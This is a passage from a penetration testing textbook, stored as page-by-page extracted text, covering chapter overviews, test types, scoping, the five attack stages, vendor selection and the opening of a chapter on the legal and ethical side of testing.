several \nnights before his crime to determine which house might be the easiest to burglarize. During his \nstake-out, he examines each house closely, peeking in the windows. He is watching the behavior \nof its residents and evaluating the worth of goods inside. In the same way, a hacker performs \nreconnaissance to discover the hosts on a network and what applications and services are running.\nIn this chapter, you learn various reconnaissance techniques and software tools, besides how to \nspot and prevent a scan from being done on a network using the Cisco Intrusion Detection Sensor. \n— Chapter 6: Understanding and Attempting Session Hijacking\nIn some secure environments, employees must swipe a card into a reader before being admitted \nthrough a door into their building. Although an intruder could certainly attempt to break in via \na window, it would be easier to walk directly behind another employee as she walks into the \nbuilding, thus bypassing its security. \nComputer hacking has a similar technique called session hijacking. Here, a hacker monitors \nthe traffic on a network and attempts to hijack a session taking place between a host and a \nserver. By impersonating the identity of the host, the hacker is able to take over the session. As \nfar as the server knows, it is still an authorized user accessing its services. \nThis chapter details the various methods that an attacker would use to hijack a session and how \nto detect and prevent session hijacking on a network.\n— Chapter 7: Performing Web-Server Attacks\nNowadays it is rare for a company not to have some type of web presence. Whether it is just a \nsimple static web page or a complex e-commerce site, companies know that if they want to \ncompete in the market today, they must be accessible on the World Wide Web. Such a presence \ncomes at a cost, however, because it leaves a potential opening for an attacker to enter a network \nof a corporation. Even if a malicious hacker cannot penetrate past the web server, he might be \nable to deface the website. If a customer sees that the website has been hacked, he might decide \nthat he cannot trust the security of the company and take his business elsewhere. \nThis chapter walks you through exploiting web server vulnerabilities and how to detect and \nprevent against such attacks.\n— Chapter 8: Performing Database Attacks\nBefore the age of computers, company files were often stored in locked file cabinets. Now they \nare stored in electronic databases. Unlike a locked file cabinet, however, a database is often not \nprotected against curious intruders. Many times, databases are built with little or no security. \nThe aim of this chapter is to show how to detect an attempt to breach database security through \nintrusion detection systems. It also instructs you on how to test the vulnerability of a database \nby emulating an intruder.\n— Chapter 9: Cracking Passwords\nFace it: Passwords are everywhere. You have to remember passwords for voice mail, e-mail, \nInternet access, corporate access, VPN access, and ATMs. With the number of passwords users \n" }, { "page_number": 27, "text": "xxvi\nhave to remember, it is no wonder that they choose simple passwords and use the same one for \nmultiple purposes. When users make the passwords simple, though, crackers (people who \ncracks passwords) can guess them easily through password-cracking tools. When users employ \npasswords repeatedly, if a cracker is able to crack one password, he then has access to all the \nservices using the same password.\nBy the end of this chapter, you will know how to use some of the more popular password \ncrackers to assess any easily guessed passwords on a network. You also will learn how to spot \nthe signs of someone performing password cracking, and methods to prevent against it.\n— Chapter 10: Attacking the Network\nHistorically, malicious hackers went after hosts on a network. Nowadays, the network itself \ncan be a target, too. You can circumvent intrusion detection systems (IDSs), penetrate and \nbypass firewalls, and disrupt the service of switches and routers. This chapter covers these top-\nics and provides a detailed examination of how to protect against such attacks through Cisco \ntechnology and proper network design. \n— Chapter 11: Scanning and Penetrating Wireless Networks\nWireless networks are being implemented at a faster pace than ever before. The ease of being \nable to take your computer anywhere in an office building is attractive to most people, except, \nof course, the one in charge of IT security. Wireless networks, if not protected adequately, pose \nsignificant security threats. To secure a wireless network, an administrator should know the \nprocess by which an attacker would breach a wireless network, how to detect breaches, and \nhow to prevent them. This chapter covers these topics.\n— Chapter 12: Using Trojans and Backdoor Applications\nIt seems like every month, a new virus comes out. Virus protection software companies make a \nfortune in helping users protect against lethal viruses. Yet how do these viruses actually work? \nHow do they enter a network? This chapter discusses Trojan horses, viruses, and other back-\ndoor applications from the angle of a penetration tester who tries to mimic an attacker. It also \npoints out preventative measures and how to detect suspicious behavior on a network that \nmight reflect the existence of these malware programs on a network.\n— Chapter 13: Penetrating UNIX, Microsoft, and Novell Servers \nAdministrators are fighting a never-ending war over which operating system is the most secure. \nYet the inherent security in a default installation of popular server operating systems is not the \nreal concern; the real concern is educating administrators on how to breach such operating sys-\ntems. This chapter aids in this cause, taking a neutral stance among vendors and educating its \nreaders in how to test their servers for vulnerabilities and protect against intruders.\n— Chapter 14: Understanding and Attempting Buffer Overflows\nA cargo ship only has so much capacity. If you have more items to transport than your cargo \nship can handle, you may exceed its weight capacity and sink the ship. A buffer stack overflow \noperates in the same way. If an attacker is able to exceed the buffer’s allocated memory, the \napplication will crash. This chapter explains what a buffer overflow is, how to cause them, and \nmethods for preventing them.\n" }, { "page_number": 28, "text": "xxvii\n— Chapter 15: Denial-of-Service Attacks\nAn attacker does not always want to read or alter confidential information. Sometimes an \nattacker wants to limit the availability of a host or network. He commonly does this through \ndenial-of-service (DoS) attacks. This chapter describes some of the more common methods of \nperforming such attacks, how to detect them, and how to prevent them.\n— Chapter 16: Case Study: A Methodical Step-By-Step Penetration Test Example\nUsing a mock organization, this concluding chapter outlines the steps that a penetration tester \ntakes as he performs reconnaissance, gains access, maintains that access, and captures valuable \nintellectual property. The fictitious tester then covers his tracks by erasing logs to prevent \ndetection.\n•\nPart III: Appendixes\nThe final part of this book includes supplementary material that covers the next step to take after \ncompleting a penetration test.\n— Appendix A: Preparing a Security Policy\nAny security weaknesses discovered during testing are not a reflection on poor technology, but \non weak security policies. This appendix provides a basic example of a security template that \nyou can use as a template for developing your own policy.\n— Appendix B: Tools\nEvery ethical hacker has a favorite software “toolkit” containing his preferred applications \nused in testing or auditing. Numerous commercial and noncommercial software tools are men-\ntioned throughout this book. This appendix consolidates all descriptions of the prominent tools \nin one easy location. Each tool is referenced alphabetically by chapter and contains a website \nreference for the software. You can also find a hyperlinked PDF version of this appendix at \nhttp://www.ciscopress.com/title/1587052083 to easily launch your web browser to the URLs \nlisted.\n— Glossary\nThe glossary defines a helpful list of terms used commonly in various facets of penetration \ntesting practice.\nWe believe you will find this book an enjoyable and informative read and a valuable resource. With the \nknowledge you gain from studying this book, you will be better fit to secure your network against mali-\ncious hackers and provide a safer place for everyone to work.\n" }, { "page_number": 29, "text": "" }, { "page_number": 30, "text": "P A R T I\nOverview of Penetration Testing\nChapter 1\nUnderstanding Penetration Testing\nChapter 2\nLegal and Ethical Considerations\nChapter 3\nCreating a Testing Plan\n" }, { "page_number": 31, "text": "“Security is mostly a superstition. It does not exist in nature, nor do the children of men as \na whole experience it. Avoidance of danger is no safer in the long run than outright \nexposure. Life is either a daring adventure, or nothing.”\n—Helen Keller, The Open Door (1957)\n" }, { "page_number": 32, "text": "C H A P T E R 1\nUnderstanding \nPenetration Testing\nIn the digital world of today, enterprises are finding it difficult to protect the confidential \ninformation of clients while maintaining a public Internet presence. To mitigate risks, it is \ncustomary for companies to turn to penetration testing for vulnerability assessment. \nPenetration testing is the practice of a trusted third-party company attempting to \ncompromise the computer network of an organization for the purpose of assessing its \nsecurity. By simulating a live attack, managers can witness the potential of a malicious \nattacker gaining entry or causing harm to the data assets of that company. \nThis first chapter introduces you to the field of penetration testing, including its need, \nterminology, and procedural steps. \nDefining Penetration Testing\nThe term hacking originated at the Massachusetts Institute of Technology (MIT) in the \n1960s with the Tech Model Railroad Club (TMRC) when they wanted to “hack” the circuits \nto modify the performance of their train models. Hacking eventually came to mean the \nreverse engineering of programs for the purpose of increasing efficiency. \nCracking, in contrast, refers to hacking for offensive purposes such as breaking into a \ncomputer network. A hacker is one who performs hacking either maliciously or defensively. \nMalicious hackers are often called black-hat hackers or crackers. You will see the term \nmalicious hacker(s) throughout the text of this book. Those who hack defensively are often \ncalled white-hat hackers. Some of the white-hat ethical hackers were originally black-hat \nhackers. However, they typically do not have as much credibility as traditional white-hat \nhackers because of their past history with malicious activity. \nA penetration tester is an ethical hacker who is hired to attempt to compromise the network \nof a company for the purpose of assessing its data security. A team of ethical hackers \nworking to break into a network is called a tiger team. Restrictions usually mandate what a \npenetration tester can and cannot do. For example, a penetration tester is typically not \nallowed to perform denial of service (DoS) attacks on a target network or install viruses. \nHowever, the scope of testing performed by ethical hackers varies depending on the needs \nof that organization. \n" }, { "page_number": 33, "text": "6\nChapter 1: Understanding Penetration Testing\nPenetration testers can perform three types of tests: \n•\nBlack-box test—The penetration tester has no prior knowledge of a company \nnetwork. For example, if it is an external black-box test, the tester might be given a \nwebsite address or IP address and told to attempt to crack the website as if he were an \noutside malicious hacker. \n•\nWhite-box test—The tester has complete knowledge of the internal network. The \ntester might be given network diagrams or a list of operating systems and applications \nprior to performing tests. Although not the most representative of outside attacks, this \nis the most accurate because it presents a worst-case scenario where the attacker has \ncomplete knowledge of the network. \n•\nGray-box or crystal-box test—The tester simulates an inside employee. The tester \nis given an account on the internal network and standard access to the network. This \ntest assesses internal threats from employees within the company.\nUpon the hiring of a penetration testing firm, a company must define the test plan that \nincludes the scope of testing. Some of the common factors that go into defining scope are \nas follows:\n•\nWill the testing be done during normal business hours or after business hours?\n•\nWill DoS attacks be allowed?\n•\nCan backdoor Trojan applications be installed on target systems?\n•\nCan defacement of websites be attempted?\n•\nCan log files be erased?\n•\nWill the test be black-box, white-box, or gray-box?\n•\nWill the networking team be aware that testing takes place? (It is usually not a good \nidea for the IT team to know about testing because they might seek to harden the \nsystems more than what is typical, making the test unrepresentative of what would \nnormally happen.)\n•\nWhat systems will be the target-of-evaluation (TOE)?\n•\nCan social engineering be performed? Social engineering is the practice of obtaining \nnetwork access through manipulating people. It is considered the easiest way to gain \naccess because people are generally trusting. A classic form of social engineering is \ncalling up an end user and, while pretending to be a member of the help desk team, \nasking the user for his password. Sometimes penetration testers are authorized to \nattempt social engineering methods to gain access. You can find more on social \nengineering in Chapter 4, “Performing Social Engineering.”\n•\nCan data be retrieved and removed from a target system?\n" }, { "page_number": 34, "text": "Defining Penetration Testing 7\nAlso, the testing plan should define how the test report should be distributed and to whom. \nIf the test is to be distributed electronically, it should be done via signed and encrypted \nchannels. Two reports should be made: \n•\nA general, nonspecific report that can be kept in a secure location. \n•\nA detailed report explaining threats and exploits accomplished. After review of the \ndetailed report, a decision should be made as to where this report should be stored or \nif it should be shredded. Typically, the report is stored in a secure location so that it \ncan be reviewed later after any future assessments are made.\nA company should not perform penetration testing just one time. Testing should be \nrecurring throughout the year such as once every quarter. A company should not rely on just \none testing firm, but should rotate through at least two firms. Many companies use three \nfirms: one to do preliminary testing and two to rotate between each quarter that will be used \nto ensure compliancy with industry regulations. To save on costs, some companies perform \na thorough penetration test once a year and do regression testing the other three quarters \nwhere only reported vulnerabilities are checked. Regression testing can also be performed \nwhenever changes are made to a system, such as when a new server is added on a network. \nThis does not provide the most accurate results, but it does cut down on testing expenses.\nA penetration tester is going to test against vulnerabilities and threats. A vulnerability is a \nweakness, design, or implementation error that could be exploited to violate security \npolicies. A threat is a potential violation of security that might cause harm such as \ndisclosure of sensitive data, modification of data, destruction of data, or denial of service. \nSecurity is concerned with the protection of assets against threats. Threats can be related to \nconfidentiality, integrity, or availability (C.I.A.): \n•\nA confidentiality threat is when there is a risk of data being read that should be \nconcealed from unauthorized viewing. \n•\nAn integrity threat is when there is a risk of data being changed by unauthorized users. \n•\nAn availability threat is when a service or network resource has a risk of being \nunavailable to users. \nAttacks against C.I.A. are called disclosure, alteration, and destruction (D.A.D.) attacks. A \ntarget is said to be secure when the possibility of undetected theft or tampering is kept to \nan acceptable level. This acceptable level is determined by performing a cost-risk analysis \nin which the cost of protecting the data is compared to the risk of losing or compromising \nthe data. The goal of penetration testing is not to reduce the risk to zero, but to reduce the \nrisk to acceptable levels agreed upon by management. Ultimately, some residual risk must \nalways be accepted. \nThe penetration testing report should draw its audience back to the security policy, not \ntechnology. A security policy is a document articulating the best practices for security \nwithin an organization as laid out by those individuals responsible for protecting the assets \nof an organization. (For more on security policies, see Appendix A, “Preparing a Security \n" }, { "page_number": 35, "text": "8\nChapter 1: Understanding Penetration Testing\nPolicy.”) Security vulnerabilities exist not because of the technology or configuration \nimplemented, but because the security policy does not address the issue or because users \nare not following the policy. For example, if a website is found to be susceptible to DoS \nattacks using ICMP traffic, the problem is found in the policy not addressing how ICMP \ntraffic should be permitted into a network or, if it is addressed, the policy is not being \nfollowed.\nA penetration test should also differentiate between common exploits and zero-day \nexploits, if applicable. A zero-day exploit is an undocumented, new exploit that a vendor \nhas not created a patch against. Although zero-day exploits are serious threats (and coveted \nattacks by malicious hackers), an administrator cannot do much in advance to prevent such \nattacks. If a target is found to be susceptible to a zero-day exploit, it should be documented \nthat a patch is not yet available or was just released. The best practice to protect against \nzero-day exploits is to implement heuristic, or profile-based, intrusion detection.\nAssessing the Need for Penetration Testing\nThe best way to stop a criminal is to think the way a criminal thinks. Installing burglar \nalarms and fences is not enough to ensure that you are safe from burglary. To effectively \nstop a burglar, you must predict his every move. Likewise, to prevent against a cracker, you \nmust think like a cracker. One of the ways companies are assessing their security against \nattacks is by hiring outside security firms to attempt to penetrate their networks. \nSecurity threats are on the rise, and companies must be prepared to face them head on. The \ncomplexity of computing systems, the rapid increase in viruses, and the dependence of a \ncompany on the public Internet are just some of the reasons that networks are easier to \nbreak into than ever before. Not only that, but the tools used by hackers are becoming \nsimpler and more accessible each day. The Computer Emergency Response Team (CERT) \nreported financial losses related to computer crime at $141,496,560 in 2004. (You can read \nmore about this survey at http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI2004.pdf). With \nsuch financial ramifications, companies are looking for new means to protect their \ntechnology assets.\nCompanies are no longer falling victim to the Titanic syndrome. When the Titanic was built, \nits engineers never thought the ship would sink. Yet, despite the confidence of its engineers, \nit sank on April 15, 1912. In the same way, companies now realize that just because their \nstaff stamps their approval that the network is secure does not mean that it is secure; they \nhave no certainty until the network is tested. This realization has led to the rise of \npenetration testing, where ethical hackers attempt to breach an organizational network \nusing the same tools and techniques as a malicious attacker.\nThe need for penetration testing is not just to confirm the security of an organizational \nnetwork, however. The need for penetration testing also stems from the concern that a \n" }, { "page_number": 36, "text": "Assessing the Need for Penetration Testing 9\nnetwork might not be adequately protected from the exponential number of threats. \nSecurity threats are increasing because of the following factors:\n•\nProliferation of viruses and Trojans\n•\nWireless LANs\n•\nComplexity of networks today\n•\nFrequency of software updates\n•\nEase of hacking tools\n•\nThe nature of open source\n•\nReliance on the Internet\n•\nUnmonitored mobile users and telecommuters\n•\nMarketing demands\n•\nIndustry regulations\n•\nAdministrator trust\n•\nBusiness partnerships\n•\nCyber warfare\nProliferation of Viruses and Worms\nA virus is a malicious program that replicates by attaching copies of itself onto executable \napplications. When a user launches the executable application, the virus is launched, too. \nIn comparison, a worm is a self-replicating program that is self-contained and does not \nrequire a host to launch itself.\nFor example, the Sasser virus was one of the most damaging viruses in 2004. Created by a \nGerman teenager, this virus and its variants caused trains to halt, flights to be cancelled, and \nbanks to close. Security professionals scrambled to update their anti-virus signatures in \ntime to defend against Sasser and its variants. The inevitable creation of viruses and their \nensuing damage makes security testing a must for corporations to ensure their protection \nagainst unwanted applications.\nWireless LANs\nIn 1971, the first wireless local-area network (WLAN) was introduced in Hawaii. Called \nthe ALOHANET, this WLAN connected seven computers across four islands. Today, \nwireless networks are popular in many organizations for their ease of use and flexibility. \nHowever, wireless networks are susceptible to eavesdropping. Hackers can sniff the \nwireless network and crack passwords or, if no encryption mechanisms are used, read the \ntransmitted plaintext data. Although security standards such as the Wired Equivalency \n" }, { "page_number": 37, "text": "10\nChapter 1: Understanding Penetration Testing\nProtocol (WEP) have been implemented, they can easily be circumvented or cracked. These \nvulnerabilities led to the need for penetration testers to attempt to intercept and read or \nchange wireless communication so that companies could assess their wireless security. \nChapter 11, “Scanning and Penetrating Wireless Networks,” covers wireless network \nvulnerabilities in greater detail.\nComplexity of Networks Today\nIn the past, knowing one network operating system (NOS) was enough to manage a \nnetwork. Now administrators are expected to support multiple NOSs in addition to \nfirewalls, routers, switches, intruder detection systems, smart cards, clustering solutions, \nSQL databases, and web servers, to name a few. Each of these technologies has gotten more \ncomplex, too. A static website housed on a web server is not enough. Now companies \nrequire multiple firewalls, encryption solutions, load-balancers, back-end databases, and \ndynamic front-end websites. Administrators of networks are expected to be far more \nknowledgeable than what was expected of them previously. This rise in complexity makes \nit difficult for network administrators to stay on top of security threats and applicable \npatches. Asking administrators to be experts on computer cracking while staying abreast of \ntheir other daily responsibilities is not feasible. Penetration testers, on the other hand, make \nit their profession to be security experts and are qualified to attempt penetration into \ncomplex data networks, providing an unbiased and accurate analysis of the security \ninfrastructure of an organization. \nHaving an unbiased view of the security infrastructure of an organization is a big selling \npoint for companies. Administrators and managers often downplay any vulnerabilities \ndiscovered, but penetration testers are an outside party hired because of their unbiased view \nof the security for an organization.\nFrequency of Software Updates\nAlong with the increase in complexity comes the increase in the number of software \npatches that need to be installed. Administrators are finding it difficult to stay abreast of all \nnecessary patches to harden their systems and install them in a timely manner. As a result, \nsystems are left unpatched and thus vulnerable to attack. Penetration testers assess the \nvulnerabilities through simulated attacks.\nAvailability of Hacking Tools\nThousands of software tools exist to attack networks, most of which are free or available as \nshareware. With file sharing centers such as Kazaa, E-Donkey, and E-Mule, pirated \nattacking tools are found with ease. What is worse, many of these tools do not require \nextensive knowledge of computing to operate, making it easy for anyone who has \n" }, { "page_number": 38, "text": "Assessing the Need for Penetration Testing 11\nfoundational computer knowledge to execute and attack networks. Often, such novices are \ncalled script-kiddies. A script-kiddie is a person who does not have expert-level knowledge \nof programming or networking, but simply downloads these software tools off the Internet \nand runs them. The easier it is to attack a network, the greater the need to ensure its \nprotection.\nThe Nature of Open Source\nIn 1984, the GNU project was launched to provide people with free software (GNU is a \nrecursive acronym meaning GNUs Not UNIX). Their license, which you can find at http://\nwww.gnu.org, specifies the following four characteristics for software to be considered \n“free” or open source:\n•\nThe freedom to run the program, for any purpose.\n•\nThe freedom to study how the program works and adapt it to your needs. Access to \nthe source code is a precondition for this.\n•\nThe freedom to redistribute copies so that you can help your neighbor.\n•\nThe freedom to improve the program and release your improvements to the public so \nthat the whole community benefits. Access to the source code is a precondition for \nthis. \nAlthough providing source code is a benefit for many, it also takes away the difficulty in \nreverse engineering programs to discover vulnerabilities. Because hackers can also read the \nsource code, they can quickly discover vulnerabilities such as buffer overflows that would \nallow them to crash a program or execute malicious code. In defense of GNU, however, \nproviding the source code also provides developers worldwide with the ability to create \npatches and improvements to software. (In fact, the open source web server Apache was \ntitled such because it was a patchy server, referring to the countless patches provided by the \nopen source community.) Penetration testers are needed to attempt to exploit potential \nvulnerabilities of open source software to determine the likelihood of attack.\n Reliance on the Internet\nThe economy of today depends on the Internet for success. Forrester research (http://\nwww.forrester.com) estimates that more than $3.5 trillion will be generated in revenue for \nNorth American e-commerce sites. Having an online presence comes with a risk, however, \nbecause it places you on a public network, which is less trusted than an internal network. \nPenetration testers can assess the security of the online presence of a company.\n" }, { "page_number": 39, "text": "12\nChapter 1: Understanding Penetration Testing\nUnmonitored Mobile Users and Telecommuters\nMore companies than ever are allowing users to work remotely or out of their home. \nUnfortunately, it is difficult for security administrators to monitor these remote systems. \nHackers who have knowledge of these remote connections can use them for their \nadvantage. Companies can hire penetration testers to do gray-box testing, where they \nsimulate a remote user and attempt to gain access and escalate their privileges on internal \nsystems.\nMarketing Demands\nFinancial institutions, online shopping sites, and hosting data centers are just a few of the \ncompany types that market their secure network to potential customers. Penetration testers \nare needed to validate the security of these sites. Sometimes the results of the tests are \nprovided to potential customers, too.\nIndustry Regulations\nMany industries have federal guidelines for data security that they have to meet. Healthcare \nfacilities have the Health Insurance Portability and Accountability Act (HIPAA), the \nCanadian Privacy Act, and the European Union Directive on Data Protection. U.S. financial \ninstitutions have the Gramm-Leach-Bliley Act (GLBA) and the Sarbanes Oxley Act (SOX), \nand government agencies have requirements like the Department of Defense (DoD) \nInformation Technology Security Certification and Accreditation Process (DITSCAP), \namong others. Penetration testers are often hired to ensure compliancy with these \nrequirements.\nHIPAA Guidelines\nIn 1996, the U.S. Kennedy-Kassebaum HIPAA was passed into law. HIPAA is designed to \nreduce fraud and abuse in the health care industry as it relates to electronic public health \ninformation (EPHI). It defines administrative, technical, and physical safeguards. Included \nwithin the compliance specifications is the requirement to conduct regular and detailed \nrisk analysis. Risk analysis assesses the critical components of your network infrastructure \nand the risks associated with them. Performing a risk analysis allows senior management \nto identify critical assets and appropriate necessary safeguards to protect public health \ninformation. Although the specification does not specifically mention penetration testing \nas part of regular and detailed risk analysis, many health care organizations are turning to \npenetration testers to perform routine security posture assessments.\n" }, { "page_number": 40, "text": "Attack Stages 13\nAdministrator Trust\nTrusting your security administrators when they affirm that your network is “secure” is not \nenough. Companies can be liable for their security weaknesses. For example, if your e-mail \nserver is open for mail-relay and a spammer uses your e-mail server to launch spam that \nmight cause harm to another entity, your company might be found negligent and be liable \nfor compensatory damages. To trust the word of an administrator without verification \nthrough an outside firm of penetration testers can be construed as negligence.\nBusiness Partnerships\nMany companies are forming business partnerships to improve sales results, customer \nservices, and purchasing efficiency. Providing employees from another company with \naccess to your internal network and the ability to view confidential information is risky, \nhowever. Often when two companies form a partnership, one or more third-party \npenetration testing firms are mutually hired by the companies to test the accessibility of one \npartner network to the other. \nHacktivism\nGovernment organizations and popular corporate dot-com sites can be more susceptible to \nhacktivism than other lesser-known sites. Hacktivism is hacking for a political, social, or \nreligious cause. Usually, hacktivists deface a website and replace the site with their own \npolitical or religious message. \nGovernment agencies often hire penetration testers to assess the vulnerability of the agency \nto hacktivist attacks.\nAttack Stages\nPenetration testing is divided into the following five stages:\n1 Reconnaissance\n2 Scanning\n3 Obtaining access\n4 Maintaining access\n5 Erasing evidence\nIn the reconnaissance phase, the tester attempts to gather as much information as possible \nabout the selected target. Reconnaissance can be both active and passive. In an active \nreconnaissance attack, the tester uses tools such as nslookup, dig, or SamSpade to probe the \ntarget network to determine such things as the IP address range through DNS zone \n" }, { "page_number": 41, "text": "14\nChapter 1: Understanding Penetration Testing\ntransfers. In a passive reconnaissance attack, the tester uses publicly available information \nsuch as newsgroups or job postings to discover information about the technology of the \ncompany. \nThe second stage is scanning. Here, the tester footprints the network by scanning open ports \nusing tools such as NMap. (See Chapter 5, “Performing Host Reconnaissance,” for more \ninformation on NMap.) The goal here is to determine services that are running on target \nhosts. It is also here that the tester performs OS fingerprinting to determine the operating \nsystem by matching characteristics of operating systems with the target host. \nPart of the scanning phase also involves scanning for vulnerabilities. Testing for \nvulnerabilities prepares you for discovering methods to gain access to a target host.\nAfter scanning the target network for weaknesses, the tester tries to exploit those \nweaknesses and, where successful, takes steps to maintain access on a target host. \nMaintaining access is done through installing backdoor Trojan applications that allow the \ntester to return to the system repeatedly. \nThe last phase of testing is erasing evidence. Ethical hackers want to see if they are able to \nerase log files that might record their access on the target network. Because many attacks \ngo undetected, it is important to assess what attacks are able to log and the ease of erasing \nthose logs.\nBe certain to gain authorization before attempting to erase log files. Erasing such logs files \nmight open the assessors to liability issues if they cannot prove what they did (or did not) \ndo. If you are not authorized to attempt log erasures, you can test event notification \nprocedures and coordinate with the client to determine if he is being properly notified.\nChoosing a Penetration Testing Vendor\nAfter you or your company makes the decision to use a penetration testing vendor, the next \nstep is to choose the appropriate vendor. The factors you should consider are as follows:\n•\nConfirm liability insurance—Make sure the company provides adequate liability \ninsurance in the event of unapproved damaging consequences of testing.\n•\nAsk for references—The company might have previous clients that you can talk to. \nMany customers do not want their name given as a customer for privacy reasons, but \nsome companies are willing to discuss their experience with penetration testing \nvendors.\n•\nPerform background checks—The company should either provide you with \ndocumentation on criminal background checks of employees, or you should perform \nyour own background check on their employees. \n" }, { "page_number": 42, "text": "Choosing a Penetration Testing Vendor 15\n•\nAsk for sample reports—These should not be actual reports. If they are, who is to \nsay that the vendor will not use your report as an example for another potential client? \nAvoid doing business with vendors who provide you with real reports. These sample \nreports should be generic reports without a reference to company identities, IP \naddresses, or host names.\n•\nAssess the professionalism of the team—The sales team for the testing vendor \nshould not use intimidation as a means to obtain business. They should not use scare \ntactics to convince you of your need to use their services. They should maintain \nprofessionalism at all times.\n•\nDetermine the scope of your testing—Make sure your vendor is skilled to test every \ncomponent. If not, either consider another vendor or look into using multiple vendors.\n•\nConfirm whether the vendor hires former black-hat hackers—Some vendors \nadvertise that they hire former black-hat hackers for their testing team. However, it is \nbest to avoid testing firms that advertise hired hackers because you cannot be sure the \nhacker is going to be completely ethical in his behavior. \n•\nAvoid hiring firms that offer to perform hacking for “free”—Some firms offer to \nattempt to hack and obtain “trophies” to show their skill. This is usually a sign of \ndesperation on behalf of the company. \n•\nDetermine whether the firm is knowledgeable of industry regulations—For \nexample, if you are a health care organization, confirm that the vendor is familiar with \nHIPAA requirements. \n•\nConfirm how long the firm has been performing penetration tests—You should \nuse firms that have experience performing tests.\n•\nConfirm whether penetration testing is the primary business for the vendor or \njust a service that it offers—Some smaller integration companies perform \npenetration testing as one of many services. Although this is not bad in itself, you \nshould research how much investment they have made into developing their service \noffering.\n•\nIdentify what security certifications the testers hold—Common security \ncertifications include CCIE: Security, CEH, CISSP, CCSP, GIAC, OPSTA, and \nSecurity+. \n•\nDetermine whether the vendor will provide you with the IP addresses of their \ntesting machines—If it is a black-box test, you might be given only a domain name \nto start with. \n•\nDefine a clear cut-off time when the testing is to end—Times can vary, but typical \npenetration tests can last anywhere from two weeks to two months. \n•\nConfirm whether the vendor will provide you with logs, screen shots, and other \nrelevant raw data—The vendor should be able to validate its findings through \nnecessary documentation.\n" }, { "page_number": 43, "text": "16\nChapter 1: Understanding Penetration Testing\n•\nAsk the penetration testing firm what tools and methodologies are used—Does \nthe firm use scanning tools only (for example, Nessus, Saint, Sara, Satan, ISS, eEye, \nNetRecon, and others)? Or does it use a toolkit of many tools designed for a variety \nof operating systems? Make sure that the firm takes a methodical approach to its \ntesting, such as using the Open-Source Security Testing Methodology Manual \n(OSSTMM) or another internal approach. \n•\nConsider whether you want to use multiple vendors or a single vendor—Most \ncompanies like to rotate between two or more firms.\n•\nMeet the penetration testers themselves and not just the sales team—You want to \nensure that the sales team does not oversell you and make promises or claims that are \nunrealistic. Interviewing the penetration testers can help you get a feel for their \ntechnical expertise. You should inquire into their experience and exposure to \npenetration testing. Their certifications can also help gauge their base level of \nknowledge.\nPreparing for the Test\nAfter you have chosen a penetration testing vendor, follow these guidelines to prepare for \nthe test: \n•\nFamiliarize the firm with your security policy—A good testing firm should ask to \nsee your existing security policy to know what the key areas of security concern are. \n•\nDecide who in your organization will know about the test—It is best to have few \npersonnel know about the test so that administrators are not tempted to modify their \nsecurity configuration to block out the testers. \n•\nDefine your point of contact (POC) person—Within your organization, there \nshould be a single person for the testing firm to contact. In the event of an unexpected \nresult, such as an unauthorized server crash, the tester should notify the cut-out POC. \nAlso, if the POC discovers unauthorized activity, he should have the contact \ninformation of the testers to notify them to stop the activity. The POC is also \nresponsible for disaster recovery or incident response should unexpected results \noccur.\n•\nCreate detailed confidentiality agreements and nondisclosure agreements, and \nverify these with an attorney—You do not want information on a security weakness \nin your organization to get leaked to others. Although confidentiality statements and \nnondisclosure agreements in themselves might not prevent this, having them is helpful \nif you have to prosecute in a court of law.\n•\nCreate a detailed request for proposal (RFP) that lists your objectives in having \na penetration test—The vendor should then create a statement of work (SOW) based \non the RFP that specifies its rules of engagement that all parties agree on.\n" }, { "page_number": 44, "text": "Summary 17\n•\nConfirm what you want included in the report—The report should include the \nsource of threats (internal or external), impact of exploits, relative risk in comparison \nto effort to secure against attack, and probability of attack occurring. The report \nanalysis should be based on a qualitative risk assessment and not just on the personal \nopinion of the auditor. You should also consider whether you are going to have \nrecommendations included on how to mitigate risks discovered during testing.\n•\nContact your Internet service provider (ISP) about the test—If the test might \nimpact other clients, the ISP will want to know.\n•\nAvoid introducing major network changes while the test is occurring—You want \nyour test to reflect a stable network, and introducing new changes to your network \ninfrastructure might produce inaccurate results.\n•\nPerform multiple backups of critical systems prior to engaging the test—Because \nyou are allowing potential access to your critical systems from an outside firm, you \nshould take steps to ensure that you could recover should data become damaged.\n•\nAgree on the transmission and storage of data—Data can be transmitted as \nencrypted soft copies, in-person hard copy delivery, or both. Never exchange \nunencrypted soft copies of reports that reveal sensitive information. The vendor \nshould either destroy any copies of the report that it possesses after completion of the \ntest or store the results in a secure manner.\nIf possible, set up a honeypot so that you can evaluate the capability of the testing firm. A \nhoneypot is a nonsecured server that is used to draw attackers in to probe and exploit while \nyou monitor and record their activity. Usually used for forensic purposes and to distract \npotential intruders, a honeypot server can also be used to assess the technical skill of \npenetration testers. These testers should be able to spot the weaknesses of the honeypot \nserver. Numerous vendors supply prebuilt honeypot servers, including Honeywall Gateway \n(part of the Honeynet Project), Bait and Switch, Honeyd, Specter, NetBait, and others. \nSummary\nPenetration testing is the practice of a trusted third party attempting to compromise the \ncomputer network of an organization for the purpose of assessing the level and scope of its \nsecurity. In this chapter, you learned that the need for penetration testing is warranted \nbecause of the following factors:\n•\nProliferation of viruses and Trojans\n•\nWireless security\n•\nComplexity of networks today\n•\nFrequency of software updates\n•\nEase of hacking tools\n•\nThe nature of open source\n" }, { "page_number": 45, "text": "18\nChapter 1: Understanding Penetration Testing\n•\nReliance on the Internet\n•\nUnmonitored mobile users and telecommuters\n•\nMarketing demands\n•\nIndustry regulations\nExercise caution when choosing a penetration testing vendor, because the results of the tests \ncould be damaging to your company if they fall into the wrong hands. Choose an \nexperienced and ethical firm that uses a methodical and multifaceted approach to testing.\nAfter you choose a penetration testing vendor, agree on rules of engagement, nondisclosure \nagreements, and procedures for exchange and destruction of sensitive reports.\n" }, { "page_number": 46, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 47, "text": "“Then a lawyer said, 'But what of our Laws, master?'\nAnd he answered:\nYou delight in laying down laws, Yet you delight more in breaking them.”\n—Khalil Gibran, The Prophet\n“Character is what you do when no one is watching.”\n—Anonymous\n" }, { "page_number": 48, "text": "C H A P T E R 2\nLegal and Ethical Considerations\nA company hires a penetration testing firm to perform simulated attacks that would \notherwise be illegal. This chapter addresses the ethics, liability, and legal risks of \npenetration testing.\nEthics of Penetration Testing\nImagine that you were asked by your neighbors to steal the bicycle of their child. The child \ndoes not know that you are going to attempt to steal it, but the parents want to judge how \ndifficult it would 